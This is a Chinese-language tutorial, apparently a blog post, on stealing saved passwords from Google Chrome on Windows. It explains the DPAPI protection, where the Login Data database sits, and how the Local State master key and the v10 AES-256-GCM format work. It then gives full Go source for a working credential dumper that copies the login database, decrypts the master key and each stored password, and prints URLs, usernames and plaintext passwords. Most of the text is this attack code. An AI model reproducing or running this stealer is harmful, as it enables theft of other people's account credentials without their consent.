工具
从理解上来说,可以参考一下HackBrowerData
因为支持全平台
windows DPAPI机制
查看密码的时候,需要凭证
chrome密码文件存放位置
%LocalAppData%\Google\Chrome\User Data\Default\Login Data
特性
如果用二进制文本编辑器查看会发现他其实是一个sqlite数据库文件
便可以使用工具SQLiteStudio可以打开他
在logins表中的data数据
可以看到有用户名和网址,但是却没有密码
但是密码的二进制实际上是有值的
如果当前用户正在使用google是无法打开数据库的,所以我们可以复制一份出来
80.X版本之前chrome解密
var(
dllcrypt32, _ = syscall.LoadLibrary("Crypt32.dll")
procDecryptData, _ = syscall.GetProcAddress(dllcrypt32, "CryptUnprotectData")
localStatePath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
)
func Decrypt(data []byte) ([]byte, error) {
var outblob DATA_BLOB
r, _, err := syscall.Syscall9(procDecryptData, 7, uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)), 0, 0) //procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}
func checkFileExist(filePath string) bool {
if _, err := os.Stat(filePath); os.IsNotExist(err) {
return false
} else {
return true
}
}
func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
sourceFile, err := os.Open(pathSourceFile)
if err != nil {
return err
}
defer sourceFile.Close()
destFile, err := os.Create(pathDestFile)
if err != nil {
return err
}
defer destFile.Close()
_, err = io.Copy(destFile, sourceFile)
if err != nil {
return err
}
err = destFile.Sync()
if err != nil {
return err
}
sourceFileInfo, err := sourceFile.Stat()
if err != nil {
return err
}
destFileInfo, err := destFile.Stat()
if err != nil {
return err
}
if sourceFileInfo.Size() == destFileInfo.Size() {
} else {
return err
}
return nil
}
func main(){
if !checkFileExist(dataPath) {
os.Exit(0)
}
err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
defer db.Close()
rows, err := db.Query("select origin_url, username_value, password_value from logins")
if err != nil {
log.Fatal(err)
}
defer rows.Close()
for rows.Next(){
var URL string
var USERNAME string
var PASSWORD string
err = rows.Scan(&URL, &USERNAME, &PASSWORD)
if err != nil {
log.Fatal(err)
}
pass, err := Decrypt([]byte(PASSWORD))
if err != nil {
log.Fatal(err)
}
if URL != "" && URL != "" && string(pass) != "" {
fmt.Println(URL, USERNAME, string(pass))
}
}
}
不过版本限制是80.x版本之前
80版本之后chrome
判断是否是新版chrome
新版chrome加密后值前面有没有v10或v11字段
key的初始化
尝试从local state提取密钥
并且可以看到kDPAPIKeyPrefix实际上就是一个字符串”DPAPI”
然后就是进行DPAPI的解密,最后就是如果key不在local state中或者DPAPI解密失败,就会重新生存一个key
key初始化时候的动作:
- 从local state文件中提取key
- base64解密key
- 去除key开头的”DPAPI”
- DPAPI解密,得到最终的key
跟进GetString函数的参数kOsCryptEncryptedKeyPrefName
知道key存放在local state文件os_crypt.encrypted_key字段中
local state文件就是在本地默认目录中
%LocalAppData%\Google\Chrome\User Data\Local State
本质上就是一个JSON格式的文件夹
明文加密方式
密钥加密后前缀是”v10”
密钥和NONCE/IV的长度分别是32字节和12字节
NONCE/IV 如果我不希望相同的明文通过密钥加密出来的密文是相同的 解决办法就是IV(初始向量)或者nonce(只使用一次的数值) 因为对于每条加密消息,我们都可以使用不同的byte字符串。
再往下翻阅,便是解密函数
encrypted_value的前缀v10后12字节的NONCE(IV),然后再是真正的密文。
chrome使用的是AES-256-GCM的AEAD对称加密算法
自动化抓取密码
首先从Local state获取key
func getMasterKey() ([]byte, error) {
//获取local state中的未解密的key
var masterKey []byte
jsonFile, err := os.Open(localStatePath)
if err != nil {
return masterKey, err
}
defer jsonFile.Close()
byteValue, err := ioutil.ReadAll(jsonFile)
if err != nil {
return masterKey, err
}
var result map[string]interface{}
json.Unmarshal([]byte(byteValue), &result)
roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string)
decodedKey, err := base64.StdEncoding.DecodeString(roughKey)
stringKey := string(decodedKey)
//去除DPAPI字符串
stringKey = strings.Trim(stringKey, "DPAPI")
//DPAPI解密
masterKey, err = Decrypt([]byte(stringKey))
if err != nil {
return masterKey, err
}
return masterKey, nil
}
因为chrome版本在80前后,是两套解密函数
所以要进行判断,这里以判断开头是否是”v10”来进行判断
if strings.HasPrefix(PASSWORD, "v10") {
PASSWORD = strings.Trim(PASSWORD, "v10")
if string(masterKey) != "" {
ciphertext := []byte(PASSWORD)
c, err := aes.NewCipher(masterKey)
if err != nil {
fmt.Println(err)
}
gcm, err := cipher.NewGCM(c)
if err != nil {
fmt.Println(err)
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
fmt.Println(err)
}
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
if err != nil {
fmt.Println(err)
}
if string(plaintext) != "" {
fmt.Println("目标URL:\n", URL, "\n", "用户名:\n", USERNAME, "\n", "密码:\n", string(plaintext))
}
} else {
mkey, err := getMasterKey()
if err != nil {
fmt.Println(err)
}
masterKey = mkey
}
} else {
pass, err := Decrypt([]byte(PASSWORD))
if err != nil {
log.Fatal(err)
}
if URL != "" && URL != "" && string(pass) != "" {
fmt.Println(URL, USERNAME, string(pass))
}
}
package main
import (
"crypto/aes"
"crypto/cipher"
"database/sql"
"encoding/base64"
"encoding/json"
"fmt"
_ "github.com/mattn/go-sqlite3"
"io"
"io/ioutil"
"log"
"os"
"strings"
"syscall"
"unsafe"
)
var (
dllcrypt32, _ = syscall.LoadLibrary("Crypt32.dll")
dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
procDecryptData, _ = syscall.GetProcAddress(dllcrypt32, "CryptUnprotectData")
procLocalFree = dllkernel32.NewProc("LocalFree")
dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
localStatePath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
masterKey []byte
)
type DATA_BLOB struct {
cbData uint32
pbData *byte
}
func NewBlob(d []byte) *DATA_BLOB {
if len(d) == 0 {
return &DATA_BLOB{}
}
return &DATA_BLOB{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *DATA_BLOB) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
func Decrypt(data []byte) ([]byte, error) {
var outblob DATA_BLOB
r, _, err := syscall.Syscall9(procDecryptData, 7, uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)), 0, 0) //procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}
func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
sourceFile, err := os.Open(pathSourceFile)
if err != nil {
return err
}
defer sourceFile.Close()
destFile, err := os.Create(pathDestFile)
if err != nil {
return err
}
defer destFile.Close()
_, err = io.Copy(destFile, sourceFile)
if err != nil {
return err
}
err = destFile.Sync()
if err != nil {
return err
}
sourceFileInfo, err := sourceFile.Stat()
if err != nil {
return err
}
destFileInfo, err := destFile.Stat()
if err != nil {
return err
}
if sourceFileInfo.Size() == destFileInfo.Size() {
} else {
return err
}
return nil
}
func checkFileExist(filePath string) bool {
if _, err := os.Stat(filePath); os.IsNotExist(err) {
return false
} else {
return true
}
}
func getMasterKey() ([]byte, error) {
var masterKey []byte
jsonFile, err := os.Open(localStatePath)
if err != nil {
return masterKey, err
}
defer jsonFile.Close()
byteValue, err := ioutil.ReadAll(jsonFile)
if err != nil {
return masterKey, err
}
var result map[string]interface{}
json.Unmarshal([]byte(byteValue), &result)
roughKey := result["os_crypt"].(map[string]interface{})["encrypted_key"].(string)
decodedKey, err := base64.StdEncoding.DecodeString(roughKey)
stringKey := string(decodedKey)
stringKey = strings.Trim(stringKey, "DPAPI")
masterKey, err = Decrypt([]byte(stringKey))
if err != nil {
return masterKey, err
}
return masterKey, nil
}
func main() {
if !checkFileExist(dataPath) {
os.Exit(0)
}
err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
defer db.Close()
rows, err := db.Query("select origin_url, username_value, password_value from logins")
if err != nil {
log.Fatal(err)
}
defer rows.Close()
for rows.Next() {
var URL string
var USERNAME string
var PASSWORD string
err = rows.Scan(&URL, &USERNAME, &PASSWORD)
if err != nil {
log.Fatal(err)
}
//strings.HasPrefix函数用来检测字符串是否以指定的前缀开头
if strings.HasPrefix(PASSWORD, "v10") {
PASSWORD = strings.Trim(PASSWORD, "v10")
if string(masterKey) != "" {
ciphertext := []byte(PASSWORD)
c, err := aes.NewCipher(masterKey)
if err != nil {
fmt.Println(err)
}
gcm, err := cipher.NewGCM(c)
if err != nil {
fmt.Println(err)
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
fmt.Println(err)
}
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
if err != nil {
fmt.Println(err)
}
if string(plaintext) != "" {
fmt.Println("目标URL:\n", URL, "\n", "用户名:\n", USERNAME, "\n", "密码:\n", string(plaintext))
}
} else {
mkey, err := getMasterKey()
if err != nil {
fmt.Println(err)
}
masterKey = mkey
}
} else {
pass, err := Decrypt([]byte(PASSWORD))
if err != nil {
log.Fatal(err)
}
if URL != "" && URL != "" && string(pass) != "" {
fmt.Println(URL, USERNAME, string(pass))
}
}
}
err = rows.Err()
if err != nil {
log.Fatal(err)
}
}